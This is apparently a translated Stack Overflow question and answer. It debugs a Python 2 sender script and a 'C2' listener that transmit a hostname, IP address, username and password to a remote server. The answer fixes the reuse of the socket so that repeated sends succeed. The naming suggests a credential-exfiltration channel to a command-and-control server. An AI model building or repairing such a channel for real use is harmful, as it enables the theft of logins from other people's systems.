2017-08-06 69 views
0

我写这个的目的是发送在一台服务器上收集的数据发送到外部服务器。这个问题似乎与c2.py一样,因为mailer.py在发送数据时没有问题,但c2.py将只输出1个从唯一IP发送给它的消息。Python接收器不会接受每个客户端超过1条消息

mailer.py(将数据发送到c2.py坐在另一台服务器上)

C2 = "C2 SERVER" 
C2PORT = 8989 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 
sock.settimeout(10) 

def send(ip, usr, pw): 
    try: 
     try: 
      s.connect((C2, C2PORT)) 
      s.send(socket.gethostname() + " ---> " + ip + " " + usr + " " + pw) 
      print "sent" 
     except socket.error, ex: 
      print ex 
    except KeyboardInterrupt: 
     s.close() 
     sys.close() 

c2.py(侦听坐在另一台服务器上)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 
s.bind(('',8989)) 
s.listen(10) 

def nodeRecv(): 
    while 1: 
     try: 
      conn, addr = s.accept() 
      conn.settimeout(10) 
      print conn.recv(65000) 
      conn.close() 
      print "1" 
     except socket.error, ex: 
      conn.close() 
      print ex 

if __name__ == "__main__": 
    print "Connected to localhost:8989" 
    print "Listening for nodes..." 
    nodeRecv() 
+0

看看这个答案 - https://stackoverflow.com/questions/15958026/getting-errno-9-bad-file-descriptor-in-python-socket,应该解决你的困境。 – droravr

回答

1

不能重新打开在收到所有发生错误的数据后,同一个套接字和您的服务器正在关闭连接(conn.close())。移动s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)到函数,并打开一个新的socket:

import socket 
from time import sleep 

C2 = 'localhost' 
C2PORT = 8989 


def send(ip, usr, pw): 
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

    try: 
     s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 
     s.connect((C2, C2PORT)) 
     s.send(socket.gethostname() + " ---> " + ip + " " + usr + " " + pw) 
     print "sent" 
     sleep(5) 

    except KeyboardInterrupt: 
     return False 

    finally: 
     s.close() 


for i in ['z', 'x', 'y']: 
    send(i, i, i) 

欲了解更多信息,请阅读此Question

相关问题